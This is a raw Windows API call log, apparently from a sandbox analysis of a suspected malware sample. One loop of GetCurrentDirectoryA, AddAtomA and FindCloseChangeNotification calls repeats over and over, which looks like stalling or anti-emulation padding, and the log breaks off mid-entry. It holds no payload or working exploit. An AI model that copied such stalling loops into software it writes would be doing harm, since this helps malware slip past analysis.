[0047.764] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.764] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.764] AddAtomA (lpString=0x0) returned 0x0 [0047.764] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.764] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.764] AddAtomA (lpString=0x0) returned 0x0 [0047.764] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.764] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.764] AddAtomA (lpString=0x0) returned 0x0 [0047.764] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.764] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.764] AddAtomA (lpString=0x0) returned 0x0 [0047.764] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.764] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.764] AddAtomA (lpString=0x0) returned 0x0 [0047.764] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.764] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.764] AddAtomA (lpString=0x0) returned 0x0 [0047.764] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.764] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.764] AddAtomA (lpString=0x0) returned 0x0 [0047.764] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.764] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.764] AddAtomA (lpString=0x0) returned 0x0 [0047.764] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.764] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.764] AddAtomA (lpString=0x0) returned 0x0 [0047.764] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.764] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.765] AddAtomA (lpString=0x0) returned 0x0 [0047.765] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.765] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.765] AddAtomA (lpString=0x0) returned 0x0 [0047.765] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.765] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.765] AddAtomA (lpString=0x0) returned 0x0 [0047.765] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.765] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.765] AddAtomA (lpString=0x0) returned 0x0 [0047.765] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.765] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.765] AddAtomA (lpString=0x0) returned 0x0 [0047.765] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.765] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.765] AddAtomA (lpString=0x0) returned 0x0 [0047.765] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.765] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.765] AddAtomA (lpString=0x0) returned 0x0 [0047.765] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.765] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.765] AddAtomA (lpString=0x0) returned 0x0 [0047.765] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.765] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.765] AddAtomA (lpString=0x0) returned 0x0 [0047.765] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.765] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.765] AddAtomA (lpString=0x0) returned 0x0 [0047.765] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.765] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.765] AddAtomA (lpString=0x0) returned 0x0 [0047.765] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.765] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.765] AddAtomA (lpString=0x0) returned 0x0 [0047.766] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.766] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.766] AddAtomA (lpString=0x0) returned 0x0 [0047.766] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.766] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.766] AddAtomA (lpString=0x0) returned 0x0 [0047.766] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.766] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.766] AddAtomA (lpString=0x0) returned 0x0 [0047.766] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.766] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.766] AddAtomA (lpString=0x0) returned 0x0 [0047.766] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.766] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.766] AddAtomA (lpString=0x0) returned 0x0 [0047.766] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.766] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.766] AddAtomA (lpString=0x0) returned 0x0 [0047.766] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.766] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.766] AddAtomA (lpString=0x0) returned 0x0 [0047.766] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.766] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.766] AddAtomA (lpString=0x0) returned 0x0 [0047.766] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.766] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.766] AddAtomA (lpString=0x0) returned 0x0 [0047.766] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.766] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.766] AddAtomA (lpString=0x0) returned 0x0 [0047.766] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.766] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.766] AddAtomA (lpString=0x0) returned 0x0 [0047.766] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.767] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.767] AddAtomA (lpString=0x0) returned 0x0 [0047.767] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.767] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.767] AddAtomA (lpString=0x0) returned 0x0 [0047.767] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.767] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.767] AddAtomA (lpString=0x0) returned 0x0 [0047.767] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.767] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.767] AddAtomA (lpString=0x0) returned 0x0 [0047.767] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.767] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.767] AddAtomA (lpString=0x0) returned 0x0 [0047.767] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.767] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.767] AddAtomA (lpString=0x0) returned 0x0 [0047.767] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.767] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.767] AddAtomA (lpString=0x0) returned 0x0 [0047.767] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.767] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.767] AddAtomA (lpString=0x0) returned 0x0 [0047.767] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.767] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.767] AddAtomA (lpString=0x0) returned 0x0 [0047.767] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.767] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.767] AddAtomA (lpString=0x0) returned 0x0 [0047.767] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.767] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.767] AddAtomA (lpString=0x0) returned 0x0 [0047.767] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.768] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.768] AddAtomA (lpString=0x0) returned 0x0 [0047.768] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.768] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.768] AddAtomA (lpString=0x0) returned 0x0 [0047.768] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.768] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.768] AddAtomA (lpString=0x0) returned 0x0 [0047.768] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.768] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.768] AddAtomA (lpString=0x0) returned 0x0 [0047.768] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.768] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.768] AddAtomA (lpString=0x0) returned 0x0 [0047.768] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.768] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.768] AddAtomA (lpString=0x0) returned 0x0 [0047.768] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.768] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.768] AddAtomA (lpString=0x0) returned 0x0 [0047.768] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.768] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.768] AddAtomA (lpString=0x0) returned 0x0 [0047.768] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.768] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.768] AddAtomA (lpString=0x0) returned 0x0 [0047.768] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.768] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.768] AddAtomA (lpString=0x0) returned 0x0 [0047.768] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.768] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.768] AddAtomA (lpString=0x0) returned 0x0 [0047.769] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.769] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.769] AddAtomA (lpString=0x0) returned 0x0 [0047.769] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.769] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.769] AddAtomA (lpString=0x0) returned 0x0 [0047.769] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.769] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.769] AddAtomA (lpString=0x0) returned 0x0 [0047.769] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.769] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.769] AddAtomA (lpString=0x0) returned 0x0 [0047.769] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.769] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.769] AddAtomA (lpString=0x0) returned 0x0 [0047.769] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.769] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.769] AddAtomA (lpString=0x0) returned 0x0 [0047.769] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.769] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.769] AddAtomA (lpString=0x0) returned 0x0 [0047.769] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.769] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.769] AddAtomA (lpString=0x0) returned 0x0 [0047.769] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.769] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.769] AddAtomA (lpString=0x0) returned 0x0 [0047.769] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.769] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.769] AddAtomA (lpString=0x0) returned 0x0 [0047.769] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.769] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.769] AddAtomA (lpString=0x0) returned 0x0 [0047.769] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.770] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.770] AddAtomA (lpString=0x0) returned 0x0 [0047.770] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.770] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.770] AddAtomA (lpString=0x0) returned 0x0 [0047.770] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.770] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.770] AddAtomA (lpString=0x0) returned 0x0 [0047.770] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.770] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.770] AddAtomA (lpString=0x0) returned 0x0 [0047.770] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.770] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.770] AddAtomA (lpString=0x0) returned 0x0 [0047.770] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.770] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.770] AddAtomA (lpString=0x0) returned 0x0 [0047.770] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.770] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.770] AddAtomA (lpString=0x0) returned 0x0 [0047.770] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.770] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.770] AddAtomA (lpString=0x0) returned 0x0 [0047.770] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.770] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.770] AddAtomA (lpString=0x0) returned 0x0 [0047.770] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.770] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.770] AddAtomA (lpString=0x0) returned 0x0 [0047.770] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.770] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.770] AddAtomA (lpString=0x0) returned 0x0 [0047.770] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.771] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.771] AddAtomA (lpString=0x0) returned 0x0 [0047.771] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.771] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.771] AddAtomA (lpString=0x0) returned 0x0 [0047.771] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.771] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.771] AddAtomA (lpString=0x0) returned 0x0 [0047.771] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.771] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.771] AddAtomA (lpString=0x0) returned 0x0 [0047.771] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.771] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.771] AddAtomA (lpString=0x0) returned 0x0 [0047.771] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.771] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.771] AddAtomA (lpString=0x0) returned 0x0 [0047.771] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.771] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.771] AddAtomA (lpString=0x0) returned 0x0 [0047.771] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.771] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.771] AddAtomA (lpString=0x0) returned 0x0 [0047.771] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.771] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.771] AddAtomA (lpString=0x0) returned 0x0 [0047.771] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.771] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.771] AddAtomA (lpString=0x0) returned 0x0 [0047.771] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.771] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.771] AddAtomA (lpString=0x0) returned 0x0 [0047.771] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.771] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.772] AddAtomA (lpString=0x0) returned 0x0 [0047.772] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.772] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.772] AddAtomA (lpString=0x0) returned 0x0 [0047.772] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.772] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.772] AddAtomA (lpString=0x0) returned 0x0 [0047.772] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.772] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.772] AddAtomA (lpString=0x0) returned 0x0 [0047.772] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.772] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.772] AddAtomA (lpString=0x0) returned 0x0 [0047.772] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.772] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.772] AddAtomA (lpString=0x0) returned 0x0 [0047.772] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.772] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.772] AddAtomA (lpString=0x0) returned 0x0 [0047.772] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.772] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.772] AddAtomA (lpString=0x0) returned 0x0 [0047.772] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.772] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.772] AddAtomA (lpString=0x0) returned 0x0 [0047.772] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.772] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.773] AddAtomA (lpString=0x0) returned 0x0 [0047.773] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.773] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.773] AddAtomA (lpString=0x0) returned 0x0 [0047.773] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.773] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.773] AddAtomA (lpString=0x0) returned 0x0 [0047.773] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.773] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.773] AddAtomA (lpString=0x0) returned 0x0 [0047.773] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.773] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.773] AddAtomA (lpString=0x0) returned 0x0 [0047.773] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.773] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.773] AddAtomA (lpString=0x0) returned 0x0 [0047.773] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.773] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.773] AddAtomA (lpString=0x0) returned 0x0 [0047.773] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.773] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.773] AddAtomA (lpString=0x0) returned 0x0 [0047.773] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.773] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.773] AddAtomA (lpString=0x0) returned 0x0 [0047.773] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.773] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.773] AddAtomA (lpString=0x0) returned 0x0 [0047.773] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.773] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.773] AddAtomA (lpString=0x0) returned 0x0 [0047.773] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.773] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.773] AddAtomA (lpString=0x0) returned 0x0 [0047.774] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.774] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.774] AddAtomA (lpString=0x0) returned 0x0 [0047.774] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.774] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.774] AddAtomA (lpString=0x0) returned 0x0 [0047.774] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.774] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.774] AddAtomA (lpString=0x0) returned 0x0 [0047.774] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.774] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.774] AddAtomA 